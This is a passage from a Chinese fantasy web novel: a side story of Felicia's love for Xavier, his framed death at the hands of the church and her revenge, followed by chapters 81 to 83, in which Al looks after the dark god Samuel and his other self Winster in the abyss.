费莉西娅握住了对方伸过来的手,刚才父亲也让她和其他被带过来介绍的同龄人一起玩,但是别的孩子表现得拘束又规矩,费莉西娅觉得硬凑一起很别扭,就留在了父亲身边。 此刻被新朋友的热情感染,费莉西娅愉悦又期待的被安柏牵走了,直接忽视了一群老爷夫人。 “等等…”孩子一溜烟的就跑远了,没叫住人,侯爵佯怒道,“这孩子,招呼也不打,让各位见笑了。” 安柏的母亲无奈笑道,“我们家这个更是,一进门就不见人影,刚才过来估计都没看见我呢,满眼都是可爱的小费莉西娅。” 大人们四平八稳地进行社交,另一边,两个女孩子已经互换了姓名。 “哇,原来你就是这场宴会的主角呀!”安柏刚才在外面看新环境,错过了庄园主人的开场介绍。 “我是水系天赋,也是前几日检测出来的,以后一起学习呀!听说□□搭档是最最最厉害哒!” 小安柏的双手大张给新朋友比划着,亲昵随性的模样让费莉西娅很快放下了最后的拘谨,两个小家伙躲在角落里聊的热火朝天。 不多久有其他小孩儿在长辈的示意下过来搭话,不过因为被嘱咐过要捧着两位小姐,打好关系,所以开口多是迎合奉承,敏感的费莉西娅不喜欢和他们交流。 安柏只想跟新朋友加深感情,以后就能经常一起玩了,她也不喜欢凑过来的同龄人,所以和费莉西娅一起躲在餐桌下,垂下的白色餐布将她们遮得严严实实。 费莉西娅在小天地里偷摸吐槽她的家人,安柏拉着她的手,“你以后可以来我家住。”然后开始讲她家养了很多可爱的魔兽。 宴会中,真正用餐的人并不多,所以还没人注意到餐桌底下细小的声音。 直到桌布被掀开,宴厅上方明珠的亮光忽然透了进来,两个小家伙被惊扰到,双双睁大眼看着来人。 “安柏,果然是你啊。”躬身看她们的男孩儿年龄大一些,面容是具有亲和力的俊气,他弯着眉眼,琥珀色的眸子像是要淌出蜜来。 “泽维尔哥哥。”安柏叫了人,带着新朋友从桌下钻了出来。 “费莉西娅小姐。”十岁的泽维尔简单问候了今天的主角,又礼貌性地介绍一下自己和妹妹的名字,再不跟她搭话了。 费莉西娅看了一眼被他牵着的小孩儿,随意点了点头。 安柏和男孩儿的关系不错,能说上话,所以三个稍大点的孩子和一个五岁女孩儿就站在餐桌旁呆了一会儿。 一般贵族举行宴会是不会带孩子一起的,但这次宴会主角才七岁,所以受邀者都带上了自家小孩儿,指望后代能在玩闹中,早些建立好人脉关系。 费莉西娅面前的五岁小家伙安妮,因为能清晰表达话语,所以也被父母带来了。 “哥哥…”安妮扯了扯泽维尔的衣袖,撅着小嘴可怜兮兮地看他,不需要多说,对方就看出妹妹这是无聊了。 男孩儿无奈又宠溺地摸摸她柔软的头发,跟两位小姐道别,“我带她去外面走走,不打扰你们躲清静。” 泽维尔牵着妹妹的手离开了,他始终偏头认真听着妹妹稚嫩的童言童语,侧脸洋溢着让人看了想微笑的暖意。 看着那一高一矮两个背影,费莉西娅抿着嘴,看起来不太高兴。 安柏敏锐注意到了她一瞬间沉下去的情绪,“怎么啦?你不喜欢泽维尔吗?” “没有啊,他看起来还不错。” 费莉西娅只是想到被接进庄园的这两年,侯爵夫人生的三个男孩儿,她的哥哥们,只会用居高临下的眼神看着她,从来不准她同桌吃饭,金系法师的三哥每次看到她都会用魔法吓唬她…… 三位少爷每次邀请朋友们到庄园做客的时候,会带人来看她,不是炫耀他们有个可爱的妹妹,而是问友人:“漂亮不?喜欢的话,等她长大了就嫁给你。” 费莉西娅早早的就知道自己被安排了什么样的命运,检测出天赋后,她终于觉得自由了,她以后会拥有喜欢的一切! 而她此时才意识到,自己永远也不能拥有一个像泽维尔这样的好哥哥,一个会发自内心疼爱她的家人…… —— “我的天呐,终于放长假了!费莉西娅,我家有几颗人鱼珍珠,我们潜入海域下面看看呗。” “不行,你也不怕被人鱼拖入深海给分食了。”少女紫眸平静,整个人看起来比好友稳重许多。 “诶~”安柏扒在她身上,笑眯眯地说,“但是泽维尔也会去啊,你真的不和我们一路吗?你不在的话,人少了多无聊。” 面上的平静被打破,费莉西娅眼神游移,“既然你都这么说了,那就给你一个面子,我去还不行嘛。” “咦~是给我面子,还是给你的心上人面子?” 费莉西娅恼羞成怒,取出法杖做势要打人,“你在胡说什么呢,看我怎么收拾你!” 两个少女在路上追逐打闹,每个画面,每个瞬间的心情,都是余生值得怀念的过往…… —— “费莉西娅,好久不见。”即便来见她之前,男人已经梳洗整理一番了,俊朗的面容还是难掩憔悴,但看着对方的眼睛又亮又专注,温柔而深情。 但费莉西娅不敢多想,这家伙从小就是这幅笑起来眼眸淌蜜的模样,让别人心里又暖又甜,况且,她现在正生气呢,就更不会多想了。 女人轻啧一声,抱着手臂,撩起眼皮瞧他,黑色的长卷发让她显得慵懒迷人,“我的朋友,这一年去哪儿风流了?谁都不告诉,是怕我们过去打扰你快活?” 她没克制住的阴阳怪气在泽维尔眼中就是可爱,男人闷笑两声,在对方恼怒得瞪视过来后才回答了问题—— “给我的心上人准备惊喜去了,之前也没想过会离开这么久的时间,她因为我的隐瞒很不高兴,也不知道什么时候才会原谅我。” 费莉西娅呼吸一窒,脑中一片混乱,眼神瞬间冷了下来,“那你去求人家原谅啊!来我这边干什么!” 她甚至都没有多的心思去问对方什么时候有了心上人!那人又是谁! 费莉西娅只想快点逃离有泽维尔的空间,然后…… 还不知道然后去做什么,泽维尔拿出一个木头盒子在她面前打开,一颗拳头大小,和她眸色相似的紫色魔导晶石映入眼帘。 男人低头看她,低沉温柔的声音似乎带了点撒娇的亲昵,“求你了,亲爱的费莉西娅,原谅我这一次吧。” “……” 费莉西娅怔愣片刻,认出这是在稀有魔导材料图谱中记载的紫雷晶,是打造雷系法杖的最佳材料之一!历史中只在神战时期众强者掀翻一块地的时候发现过。 如今,世人唯一知道的资源是在精灵族手中,他们收藏了大块的晶石,但精灵并不愿意交易,哪怕是分出一小块。 费莉西娅现在不想问泽维尔是怎么拿到这样的珍品的,她踮起脚尖,紧紧地抱住了他,而后红着脸吻上了他的唇…… —— “咦!你的新法杖真好看,一看就很适合你,这就是泽维尔送你的定情信物吧?” “嗯,确实好看。” 费莉西娅摩挲着那颗紫色晶石,外人面前一贯高傲冷漠的脸此时甜蜜的快让人不敢认了。 安柏嘶了一声,觉得牙酸,而后才听好友提到这颗晶石有多来之不易。 泽维尔的家世不比费莉西娅,他也没有魔法资质,幸而剑术上有些天赋,但和优秀的心上人做对比,还是算不了什么。 但泽维尔能感觉到费莉西娅也是喜欢自己的,这给了他追求的信心,所以在很早之前便决定好了,等他有能力取来配得上费莉西娅的宝物的时候,如果那时心上人仍然对他有意,泽维尔就会表白。 他在少年时期便开始想各种办法赚钱了,十多年后,存下不少积蓄,加上出生贵族,家里也能给他很多金币。泽维尔觉得差不多了,想联系精灵族买下一块紫雷晶,如果钱不够他再去赚。 可惜,精灵族别说谈交易了,对人族连面都不想见,泽维尔在西莱古森外磨了一年。 这一年,他用很多曾经在远处买来的精美的、实用的、稀奇的物件做礼物,企图搭话。 他追踪了几个精灵贩子,用他们的尸体示好。 他好脾气地完成一些精灵故意为难人的要求,和他们混熟,有时候走在森林里,还会猝不及防的被射冷箭,不打起十二万分的精神去警惕,真的会死。 而直到一头独角兽靠近了他,精灵族才终于不对他冷脸了。 泽维尔见到了来到古森外围的精灵王,这位似乎比其他精灵更好说话,仔细聆听了他非要取得紫雷晶的原因后,便卖了一小块给他。 若不是紫雷晶对精灵族的收藏意义大于实用意义,泽维尔才有机会求得一块,费莉西娅都不知道这个固执的家伙还会在外边耗多久! —— “费莉西娅,三王子放弃了吗?”安柏今日来找好友,担忧地询问着她。 “别提了,隔三差五就往这个庄园跑,我不见他,他就去找我父亲。” “有他掺和,侯爵大人更难同意你和泽维尔的婚事了。” 费莉西娅冷笑一声,“大不了就私奔,早就不想看见这群人了!” 安柏叹息一声,知道她只是在说气话,费莉西娅想私奔不假,但考虑到泽维尔的家族,还是只能忍耐,留下来和她父亲慢慢周旋。 “你俩努力提升实力,届时一剑神一法神,谁也不敢反驳什么。” 费莉西娅眯了眯眼,阴恻恻道:“这得多久啊,要我说,不如想办法把三王子那个废物给暗杀了。” “好主意,可惜人家身边肯定有骑士保护。” —— “费莉西娅!你在哪里?!”安柏的声音有些破音。 “丹伊城,和母亲一起来外公家看看,你怎么听起来这么急?” “快回来!泽维尔出事了!” 泽维尔杀了他妹妹。 安柏听闻消息,立刻赶去了他的家里,见到了被圣光锁链束缚住的朋友。 他浑身戾气,俊朗的面容扭曲着,不剩一点平日的温和,他此时冷汗直流,就像这个简单的束缚魔法在时刻折磨着他。 安柏,还有他的父母叫泽维尔的名字,都没有收到一点回应。 光系的大主教确认泽维尔体内充盈着大量黑暗元素,所以才会因为圣光锁链的触碰难受至极。 教廷很快在泽维尔住处的地下室内找到大量记载转变体质的古老手札,而这些都是禁书! 更严重的是,宽敞的地下室中,有一个血淋淋的,看上去就极为邪恶的召唤阵! 大主教皱眉,“血亲献祭,开启深渊通道召唤黑暗神的意志?!” 片刻,神官下了结论,泽维尔想转变为魔法体质,所以杀害了亲妹妹,使得灵魂堕落,召唤来了黑暗神的短暂降临,实现了他的愿望。 幸而结果出了差错,泽维尔被大量的黑暗元素污染到疯魔,才会就这样现身人前,暴露了这件事。 安柏反驳:“不可能!” 上个月费莉西娅才来过这里,跟她吐槽这个地下室的收藏有多丰富。 泽维尔是个非常恋旧的人,用过的东西坏了也不舍得扔,都放进来做怀念了,费莉西娅听他指着一样又一样的旧物絮叨了半天。 就算安柏不知道地下室以前是做什么的,凭她从小到大对泽维尔的了解,肯定与这些乱七八糟的手札和阵纹无关! 大主教并不在乎那么多,他当即就要净化掉黑暗——光暗两种对立元素同时存在泽维尔体内,让他痛苦至极。 安柏直觉继续下去好友可能会没命,和同样信任泽维尔的母亲一起推开了大主教。 “泽维尔不是那种人!你没有其它办法让他先恢复理智吗?!这些手札上的笔记字迹根本不是他的,泽维尔一定是被这些东西真正的拥有者给陷害了!” 大主教冷漠回答,“要恢复理智,只能净化污染。” 这时,有人从外面走进来,感叹道,“安柏小姐,知人知面不知心呐,我已经听说了,可怜的安妮,身上的伤口正是泽维尔的剑造成的,加上眼前的东西,证据确凿,你就不要阻止神官阁下尽责了,以后交朋友还是要擦亮眼睛。” 安柏眉头一压,“三王子殿下,您为什么会出现在这里?” “听说有神官带人来这边,我有些好奇,便来看看。” 金发绿眼的男人悠哉靠近,不解道,“真狼狈啊……费莉西娅喜欢的就是他?不过今天过后,她也能看清谁才是值得托付的人。” 安柏现在没工夫搭理他,正忙着劝说大主教将泽维尔关起来就好,“我会看着他,不让他伤到别人的。” 可惜任她怎么说,教廷对黑暗力量没有半点容忍,大主教挥手禁锢住了挡在前面的两个女人,“等我净化完,他或许有机会清醒过来。”也或许会没命。 泽维尔的父亲还有其他孩子,同时深知反抗不了教廷,还有突然出现且不怀好意的三王子,反应便没有他夫人那么激烈。 他没有被困住,所以在听到最为喜爱的长子不住痛苦哀嚎的时候,还能沉着脸,给他喂下修复内伤的魔药。 但是光暗元素将人类的身体当作战场,破坏它的速度比魔药修复的速度快的多,泽维尔七窍流血,后面有了短暂的清醒,忍住了疼痛,不再痛呼…… 他费力偏过头,看着安柏,声音微弱,“安、安妮…费莉…西娅……” 安柏被困在光墙之中,哽咽出声,“我知道了……” 我知道要安葬好安妮,找出真相,我知道告诉费莉西娅,你舍不得她…… 泽维尔死了,在很平凡的一天里,没有丝毫预兆,忽然人就没了…… 安柏合上了好友没有闭上的眼睛。 她觉得一切都像是一场噩梦。 一日之内失去所有孩子,泽维尔的母亲已经受了大刺激晕过去了。 教廷的人收走了地下室的所有物件,对已经净化干净了的人、不,是尸体,并没有兴趣,干脆利落地走人,三王子和大主教谈着话一起离开了。 等费莉西娅用最快的速度赶回来,她早已失去了所有…… —— “安柏,如果我说,这一切都是三王子策划的,你信我吗?” 安柏看着好友苍白的脸,干裂的唇,皱眉去桌边倒了一杯水,“证据呢?” “没有,我就是知道。” 三王子曾经跟她说过的话,那些温柔的威胁,势在必得的宣言,最近总会在半梦半醒间回忆起,然后将她彻底惊醒。 “好,我信。”想起那天三王子的突然出现,以及后面表现出来的与大主教的熟稔态度,安柏也有所怀疑。 “该吃饭了,饿死了可不能报仇。” 安柏怀疑,若不是她将费莉西娅带到她家亲自盯着,费莉西娅说不定真会悄声无息死在哪里。 费莉西娅嚼着食物,她咽不下去,依旧是和着水吞的。 女人安静垂眸,半敛住如深渊寒潭的眼神…… 她想杀了三王子,想将他折磨至死!一个废物而已,这很容易做到! 至于她的家族会被王室怎么报复?费莉西娅一点儿也不在乎! 但是,那个强硬“净化”了泽维尔的神官要怎么办?她太弱了,没有办法与大主教对抗…… 费莉西娅继续在安柏家住了一阵子,她的心情看起来渐渐好转。 恋人去世三个月后,费莉西娅平静的和亲友道别,以历练为由,独自离开了王城。 这一走就是五年,期间只会在和安柏联络的时候多说几句,至于父亲,看在这个家族还有用的份上,费莉西娅也不会无视掉他的联络。 勉强压制住强烈的杀意后,费莉西娅终于回到了王城,看上去冷傲迷人,几乎所有人都以为她已经淡忘了那个犯了大错的恋人。 三王子的征服欲仍未熄灭,他继续对这个美丽又强大的女人死缠烂打,费莉西娅的家人也时常劝她嫁入王室,毕竟嫁人也不影响她继续精进魔法。 若不是第一顺位继承人连孩子都有了,侯爵必然更想让她嫁给大王子! 顺了大家的意,费莉西娅与三王子的接触慢慢多了起来,两年后,他们成婚了。 费莉西娅忍着恶心,和三王子生了孩子,很长一段时间,她连吃饭都是和着水硬吞的,仇恨化作脊骨,让她支撑了一天又一天…… 三王子当然知道他的妻子对他没有一点爱意,他并不失落,毕竟能得到这么出色的女人,已经够有面子的了,如果能生出有魔法天赋的后代就更完美了。 只是有时被费莉西娅看废物的眼神刺到,他会讥讽几句,“你以为自己有多强大,多高贵?不就是一个想沾王室的光的私生女!” 然而比起跟他结婚生子,这些话都不能让费莉西娅的心情有一点波动。 后来,王室的顺位继承人一个个的死去,三王子的死亡过程远比外人知道的要痛苦的多…… 费莉西娅如愿掌权,接下来……就是对付教廷了。 —— 几十年过去,费莉西娅已经快想不起恋人的声音了,耳边朦胧地出现一声幻听,那是她曾经因为家族非要给她举办无聊的生日宴会,所以烦着了,泽维尔跟她说过的话,“费莉西娅,我的挚爱,过生日要开心一点啊。” “每年的这一天,我都感恩命运使你降生,让我的爱情有了归属。” 女王陛下垂着眼眸,水痕滑落,洇湿了衣袍,“泽维尔,我很想你……” 一声呢喃消散在夜风中,无人回应。 不知过了多久,费莉西娅终于起身,准备回殿中休息了。 小花园外,奥斯顿和姐姐克洛伊被拦在了这里,因为母亲在宴厅的时候就脸色不好,出于担心,姐弟俩已经在这里等了一会儿了。 费莉西娅走出草墙,一眼就看到与三王子有七分相似的奥斯顿,不由流露出几分厌恶和恨意。 80-90 第081章 第 81 章 温斯特的表情太可怜, 让艾尔不禁仔细回想了一番自己刚才说的话……他是建议温斯特留一段时间,不是永远留下来吧?这小子为什么会表现的这么夸张啊! 艾尔还在震惊失语之中,又听温斯特小心翼翼地开口:“是我靠太近, 烦到哥哥了?还是塞缪尔惹哥哥生气了?” 啧…艾尔抬手弹了他一个脑崩儿,“乱想什么呢。”而后详细地说了一遍他的想法。 温斯特感受到哥哥为他考虑良多, 心里一暖, 翘着嘴角揽着艾尔的肩膀抱了上去, “和哥哥在外游历的日子很开心,我不想一个人留在这里。” 艾尔无奈地叹口气, 看来开解弟弟的心理问题任重而道远。 是的, 虽然他已经知道温斯特没有双重人格的问题, 但还是坚信这个从小受了太多苦难的孩子内心深处是非常压抑、没有安全感的,不然为什么明明有独立生存的能力, 却还异常黏人呢? 温柔的将人推开,“好吧,你开心最重要,不过塞缪尔是怎么想的?希望你们不要有冲突。”毕竟这里才是塞缪尔的地盘, 也许祂会想要留下来。 温斯特毫不犹豫地回答:“祂和我是一样的想法。” 实则塞缪尔昨日消耗太大, 在封印里睡得死沉,根本没有动静,但温斯特才不在乎祂想做什么。 这个话题很快揭过, 温斯特陪着哥哥欣赏了一阵极具艺术气息的古老物件和雕刻, 遗憾自己恢复的记忆里还不包括这些无关紧要的东西, 所以不能给哥哥好好介绍一下, 面对哥哥的问题, 一问三不知,这让他有些挫败。 温斯特还不知道, 即便是有所有记忆的塞缪尔出来,也回答不了艾尔的问题,因为黑暗神大人当年对这些没有兴趣,根本就没去了解过。 过了一会儿,小龙崽从藏宝库找了过来,在主人怀里吃饱了又飞了回去,可谓是无忧无虑。 闲逛结束,有几日没有好好提升实力的艾尔开始反省自己,实在是怠惰了!身上背个圣子的名头不安全,被教廷迫害的弟弟也需要保护,他怎么能如此松懈! 作为长期自律的卷王,多闲一阵就开始焦虑了,但是深渊光元素稀少,在这里练习魔法事倍功半,所以艾尔拉着温斯特各找了个炼金傀儡提升剑术。 温斯特:“……”不是说好一起逛一逛深渊吗? 夜晚塞缪尔会出现,和哥哥躺在一张床上,看起来远比自己和哥哥的关系更亲密,他本想和哥哥一起出去探险增进感情的…… 温斯特看着另一边的银发青年兴致勃勃的模样,只能抿着薄唇,自顾自的委屈。 深渊没有白昼黑夜之分,但艾尔的身体已经养成了生物钟,觉得困了就进门打算睡觉了,才不管天色如何。 温斯特依旧跟在哥哥身边,等洗漱好躺在了床上,身体的掌控权仍未被夺走,不免让他升起了几分希冀:难道那家伙分不清昼夜了,或者昨日那些超出身体承受能力的魔法对祂有什么影响? 偏头看着已经闭上眼睛的哥哥,温斯特唇角轻扬——那家伙最好永远别醒了。 似乎感受到了温斯特强烈的恶意,塞缪尔在他心情愉悦的时候醒了,夺走了身体控制权。 感受到一点残留的满足和愉悦,神明大人疑惑地触碰到自己的心脏位置……可惜那种奇异又并不讨厌的感觉很快便消失了。 这具身体从里到外仍旧疼痛,但是比起昨日已经好了很多,接收完记忆才知道温斯特向他的好哥哥撒娇叫疼,得到了治愈魔法。 “啧。” 跟诸神打了几万年的架,受过无数次伤的塞缪尔对此行为嫌弃至极,第无数次升起了疑问:祂彻底失忆后怎么会变成这么个娇弱废物?? 尚未睡着的青年听见声音睁开了眼睛,一看身边人那嚣张不耐的眉眼就知道是塞缪尔出来了。 本欲随口道声晚安,突然想起了什么,青年柔和的脸色冷淡下来,小声的冷哼一声,而后转过身背对着神明大人。 莫名遭了冷遇的塞缪尔:“……?” 就挺新奇的。 第082章 第 82 章 在塞缪尔的记忆中, 只有温斯特在弱小的时候受过冷遇,至于祂,即便是对祂心怀不满的神明, 见到祂也要装得和和气气。 没记错的话,这还是头一回有人、在明知祂的身份的情况下表现出这般冒犯之举。 盯着身边人的后脑勺, 塞缪尔顿时被气笑了, 这小崽子想跟祂分开一个人离开深渊这件事, 祂都还没有算账呢,小崽子又凭什么不高兴? 至于艾尔之前对温斯特的解释, 塞缪尔是半信半疑, 这个人类惯会花言巧语, 每次忽悠人的时候都演的特别真诚…… 呵,该不会是不待见祂, 所以才提出分开的吧,瞧这态度,像是这么回事儿。 塞缪尔坐起身,沉着脸拉着艾尔的胳膊, 将人拽了起来, “哼什么?这么不耐烦见到我?” 艾尔深吸了一口气,意识到刚才有些冲动了,他在心里默念自己打不过这家伙, 不能表现出生气的样子, 更不能吵架…… 任由胳膊被钳制着, 青年惊讶地对上塞缪尔的视线, “您怎么会这么想, 是我刚才睡迷糊了,做了什么让您误会的事吗?” 塞缪尔扯起一边唇角, 冷笑道:“没有因为甩不掉我和温斯特而失望?” 听到这里,艾尔才明白这家伙生气的点,原来是他白日的提议让塞缪尔误会了,难怪这么大脾气。 真挚地看着质问他的神明:“向您发誓,我今日对温斯特说的话所言句句为真,我以为您会更喜欢留在深渊,绝不是想和你们分开。” 塞缪尔的野兽般的直觉告诉祂,这回小崽子说的是真的。 祂松开了钳制人家胳膊的手,“啧,那你在不高兴什么?” 青年抿了抿唇,因为觉得别扭,最终咽下了真正想说的话。 他疑惑地歪着头,温和否认道:“我真的没有不高兴,今天过得很愉快呢,不知道您为什么会有这样的误会。” 但心里总归憋着一股气,导致敷衍的不够认真,艾尔的眼神很是平静,甚至有些冷淡。 塞缪尔压着眉盯着他,最终嗤笑一声,起身离开了房间。 艾尔当然看得出对方是生气了,但他也不打算追出去——本来关系就一般,连朋友都算不上,塞缪尔去了哪里,有没有危险,都不是他有资格关心的。 静坐片刻,艾尔被子一盖,躺下继续睡觉。 不知道是因为心里藏着事,还是因为独自呆在陌生地方没有安全感,艾尔睡得没有那么沉了。 不知道过了多久,朦胧间嗅到一股血腥味,青年警惕地睁开了双眼。 手心升起一抹温和的白光,照亮了昏暗的房间,衣柜前正在换衣服的身影一怔,很快又若无其事的继续自己的动作,没打招呼,甚至连头也不回。 眼见这位任性的神明伤口也不处理,就直接换上衣服,艾尔磨了磨牙,还是没忍住翻身下床,赤脚走到了塞缪尔面前。 艾尔的主动靠近让神明大人冷凝的脸色松开了一些,在祂看来,这相当于小崽子在刚才那场短暂的冷战中投降了。 长袍松散地系着,艾尔伸手稍微一扯,便见几道只是堪堪止住了血的狰狞伤口。 他闻到了熟悉的高级魔药的味道,按照药物的效力,这么深的伤,想要痊愈差不多还要等上半日。 塞缪尔皱了一下眉,被人类指尖无意触碰到的胸膛有点发痒,祂挥开那只扯着祂衣袍的手,“这有什么可看的。” 艾尔掀起眼皮面无表情地看祂一眼,随后治愈魔力笼罩住对方,片刻,塞缪尔的身体恢复如初。 “不是说在深渊要省着用光明元素?我已经用了魔药,何必多此一举?” 这家伙向来情商低下,艾尔从不指望神明大人能说声谢谢,他扯出一个礼貌的假笑,“我知道您可能习惯了这些伤痛,所以不在乎,但是温斯特还没习惯,我也不想看到他难受,我和他相互照顾,没有多此一举的说法。” 这可不是塞缪尔想听的答案——虽然祂也没思考过自己真正想听的是什么。 嗤,这小崽子以为温斯特有多脆弱啊。 不过也不能怪他,都是温斯特平日里总是唧唧歪歪,一会儿喊疼一会儿喊累的,显得特别废物。 塞缪尔磨了磨牙,懒得说温斯特是装的,毕竟他就是失忆后的自己,说了也是丢祂的脸。 俊朗青年抱臂而立,烦躁的视线落在人族漂亮的脸上,“是因为我前一天给你喂了缩小魔药,惹到你了?” 上次见面,这小崽子一直都表现的很乖,塞缪尔想来想去,也就这一件事让小崽子皱过眉。 平时脾气那么好,突然为这点儿事生气,人类真是复杂…… 艾尔一愣,他没想到对方还在记挂他生气的事情,而且……似乎有在反省,不,还称不上反省,但塞缪尔愿意去思考与他有关的事情,已经足够让他受宠若惊了。毕竟这位向来随心所欲,对待他就像对待一个新奇的玩具…… 看着塞缪尔压抑着暴躁的样子,艾尔忽然意识到,原来他在对方心中,还是有些地位的…… 生了一天的闷气终于散开,青年垂眸看着地面,反省自己两辈子加起来也活得够久了,居然还这么幼稚……有什么不满直说就是了,赌什么气啊。 尤其赌气的对象是完全不通人情的神明,天知道这家伙生气后会做出什么不受控的事情! 想通之后,艾尔撇开了头,有些尴尬地开口—— “我…我就是有点不高兴,你之前受伤,宁愿忍着痛苦慢慢恢复也不告诉我,明明我能帮上忙…” 坦诚之后,心里的那点别扭也慢慢消失了,说到最后,青年眼神复杂地看着塞缪尔,“对你而言,我是完全无用的,不值得信任的存在吗?” 整个房间都安静了下来,塞缪尔皱起眉头,不是因为被质问而感到冒犯,而是脑子有些反应不过来。 哦…原来小崽子是在关心我…不过他说的是哪次受伤? 塞缪尔很快便想起温斯特今日暴露了神力使用过度造成了损伤的事情,从不将这点小事放在心上的神明大人理解不能,这有什么好生气的? 不过……虽然祂自己不在意,但小崽子对祂的重视,还是让塞缪尔心里很受用的。 一个强大的神明,居然被弱小的人类担心了? 那双漂亮蓝眸此刻的情绪认真而复杂,与之对视,塞缪尔摩挲着指尖,克制住了想触碰心脏的冲动——那里有些许的酸胀发麻,陌生,且不舒服,但是……祂并不讨厌这种感觉。 “你都被允许进入神殿了,为何如此没有自信?”尽管塞缪尔知道小崽子身上有一个很大的秘密,祂仍然信任着他,早就将这个人类划分到自己的麾下了。 从诞生以来嘴里没有说过一句软话的神明大人回答的颇为别扭,“那么点小伤有什么好在意的,啧,给你省着用光明元素你还不乐意。” 艾尔看着祂,严肃的表情最终还是崩了,忍不住翘起了嘴角。 他现在是真的看透了,活了不知道多少岁月的黑暗神,心理上就是个嘴硬又好面子的大男孩,塞缪尔是单纯的不喜欢示弱,并不是见外,是他之前想的太复杂了。 坦诚交流了几句之后,他心中对塞缪尔又多了几分亲近。 明显塞缪尔的性格是吃软不吃硬,艾尔脸色柔和了下来,“消耗点元素哪有你的身体重要,就算我在深渊没有自保之力了,不是还有你在?” 知道神明对人类的想法非常迟钝,所以就像跟幼稚园的小朋友讲道理一样,青年将他的想法揉碎了说给塞缪尔听,“无论是你还是温斯特,对我来说都是很重要的亲人、朋友,我不想看到你们任何一个受伤,至少不要瞒着我做些危险的事,否则…我会非常担心的。” 塞缪尔不是第一次从这个人类口中听到甜言蜜语了,但是……以前祂能感受到对方的敷衍和哄骗,对小崽子来说就是用一次次浮夸的表演来稳定祂的行为,祂觉得有趣,也没计较。 这次却不一样……艾尔的一记直球打得神明浑身像过了电一般,心脏里异样的感觉比刚才更甚。 在人类关心的目光中有些站不住了,塞缪尔移开视线,烦躁地抓了一把后脑勺,抬脚往床边走去,“嗯,我知道了。”顿了顿,塞缪尔又低声吐槽道:“别的信徒可不像你这样,对神明如此没有信心。” 万千生灵,都相信最初诞生的主神是无所不能、永不灭亡的。 银发青年笑了笑,“我比较胆小怕事嘛,就喜欢瞎操心,也只有像塞缪尔这么善良大度的神明才会包容我这样的信徒了。” 哼…塞缪尔靠坐在床头,扫了他一眼,小崽子又开始哄人了。 架不住美言听着顺耳,塞缪尔心情还不错,觉得这个人类在身边的时候,日子比曾经有意思多了。 祂已经在考虑将温斯特多压制几天,每次祂占据身体的时候,都是小崽子的睡觉时间,少了多少乐趣啊。 想起温斯特,塞缪尔脑海中忽然闪过一些记忆片段…… [塞缪尔过度动用神力,我的身体撑不住…是塞缪尔防备心太强……] 再仔细回忆一番,小崽子在那个时候脸色就有些不好看了。 塞缪尔眸色一沉,祂一直知道温斯特常常会跟小崽子说祂的坏话,但祂也没在意过,眼下,塞缪尔终于觉得不爽了。 “温斯特骗了你。” 艾尔正想问塞缪尔出去做什么了,为何带着一身伤回来,冷不丁听到对方说这种话,“什么?” 至少温斯特在面对他的时候,表现一直很乖,所以艾尔有些惊讶塞缪尔会这么说。 “你给他用了治愈术,他说不疼了,是骗你的。” 塞缪尔看着青年,不紧不慢地说道,然后看对方皱起眉头,“嗯?我没有治好你们吗?竟然伤的这般严重?” 说着,艾尔走到了床边,作势要再刷几个大治愈术。 塞缪尔握住了他的手腕,毫无在意地解释,“不用了,我是灵魂受了损伤。” 祂强行用这具废物的人类躯体使出神力的时候,就会面临肉身和灵魂的整体崩坏。 青年收回了手,起码要到圣魔导师的级别,才有能力治愈灵魂损伤。 艾尔是真的服气,处于连绵不断的疼痛中,这两个家伙居然表现的若无其事,一个有闲心跟他撒娇卖乖,一个又跑出门作死搞得一身伤。 冷着脸从空间戒指里掏出以前拍卖得来的圣级魔药,“喝了。” 塞缪尔挑了挑眉,居然什么也没问,看起来没有丝毫戒备地接过了魔药,径直服用了,这让青年的眉头松开了一点。 “又生气了?” 塞缪尔语气戏谑,艾尔瞧这家伙似乎心情很好的样子,完全想不通祂的脑回路,敷衍的冷哼了一声。 其实艾尔也没生气,更多的是无奈,但是塞缪尔不知道啊,一只手搭在屈起的长腿上悠悠闲闲,祂状似闲聊道:“那小子还挺会骗人,当年若不是我主动现身,估计你到现在都不知道我的存在。” “啧,不知道还瞒了你多少事。” 青年眼神复杂地看着某位神明——你俩记忆相通,温斯特瞒了我多少事情你不知道吗?!! 闻到了熟悉的茶味,艾尔条件反射地应和:“嗯,温斯特是有点过分了,多亏了塞缪尔,你这样坦诚真的让我很高兴。” 塞缪尔很满意他的识趣,“所以,你打算怎么收拾他?” “?”艾尔与祂对视两眼,沉默片刻,鬼使神差地答了句:“太生气了,这段时间不想搭理他……” “这样也行。”神明点了点头,薄唇轻勾,眉眼愉悦,看上去相当满意这种回复。 艾尔:“……”原来这家伙真的在报复温斯特。 差点被这拐弯抹角的报复举动逗笑,艾尔抿唇忍了下来,免得神明大人恼羞成怒。 青年转移了话题,“对了,你刚才出去做什么了?” 第083章 第 83 章 塞缪尔闻言一顿, 移开了视线,“这具身体太弱了,去河对面找了几个魔族练剑。”以想要晋阶为借口, 实际上祂就是心情不爽,去揍人发泄了。 “被你赶走的那群魔族?” “嗯。” “啊…我都忽悠了一通了, 他们还守在那儿呢。”年轻人眼珠一转, “不过这样也挺方便的。” “你要做什么?” 青年梳理着睡的有点乱的银发, 笑得温和无害,“交几个朋友嘛。”打好关系, 取得信任, 起码让魔族在暗杀神殿人员的时候不要对他还有几个朋友下手。 唔…如果能打听到前几次杀死候选人的魔族身份就好了, 倒不是想去报仇,毕竟他和受害者也没什么交情, 主要还是防备一下,免得哪天自己遭殃。 塞缪尔也算是相当了解他了,看到这样的笑脸就知道这小崽子肯定又有什么目的了。 “有一个问题。”想起刚才出去揍人时听到的消息,塞缪尔似笑非笑地问道:“我什么时候任你为神使了?” 这个问题来的猝不及防, 青年笑容一顿, 就像跟同事吹牛说自己是老板亲戚,结果老板就站在身后现场抓包——有那么一点点尴尬。 不过还好经过方才那一遭,艾尔觉得跟塞缪尔的关系亲近许多, 相处间比以往更随意了。 青年笑着, 下颚轻扬, 显得自信又亲昵, “难道我不能当吗?” 塞缪尔沉默了, 这小崽子怎么一点自知之明都没有? 自古以来,诸神任命的神使无一不是信仰虔诚、能取悦神明又实力出众的信徒, 这小崽子哪样都不沾,拿石头往黑河对岸一扔,随便都能砸中一个比他更具资格的。 低笑一声,塞缪尔不在意道:“罢了,一个名头而已,你想要就拿去。”祂也没那么多讲究,其他信徒有再大的优势,也抵不过祂看这小崽子顺眼。 